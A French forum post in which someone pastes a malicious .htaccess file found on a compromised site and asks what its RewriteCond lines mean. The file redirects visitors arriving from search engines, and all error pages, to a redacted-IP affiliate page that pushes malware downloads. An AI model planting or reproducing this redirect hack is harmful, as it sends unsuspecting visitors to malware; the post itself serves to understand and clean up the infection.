Salut,
je viens de trouver un beau fichier .htaccess sur un site :
Je masque l'ip mais il s'agit d'un site forçant le dl de fichiers malveillants.
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 # HostRule RewriteEngine On # /HostRule ErrorDocument 400 <a href="http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710" target="_blank">http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710</a> ErrorDocument 401 <a href="http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710" target="_blank">http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710</a> ErrorDocument 403 <a href="http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710" target="_blank">http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710</a> ErrorDocument 404 <a href="http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710" target="_blank">http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710</a> ErrorDocument 500 <a href="http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710" target="_blank">http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710</a> RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*excite.* [OR] RewriteCond %{HTTP_REFERER} .*altavista.* [OR] RewriteCond %{HTTP_REFERER} .*msn.* [OR] RewriteCond %{HTTP_REFERER} .*netscape.* [OR] RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} .*hotbot.* [OR] RewriteCond %{HTTP_REFERER} .*goto.* [OR] RewriteCond %{HTTP_REFERER} .*infoseek.* [OR] RewriteCond %{HTTP_REFERER} .*mamma.* [OR] RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR] RewriteCond %{HTTP_REFERER} .*lycos.* [OR] RewriteCond %{HTTP_REFERER} .*search.* [OR] RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*dogpile.* RewriteRule ^(.*)$ <a href="http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710" target="_blank">http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710</a> [R=301,L]
Quelq'un pourrait-il m'expliquer ce que signifie les RewriteCond ?
Est-ce qu'il s'agit de ne pas effectuer la réécriture si le referer est un de ceux cités ?
J'ai aussi un peu de mal à comprendre cette ligne :
RewriteRule ^(.*)$ http://XX.XXX.XXX.XX/hitin.php?land=20&affid=63710 [R=301,L]
Merci d'avance.
Partager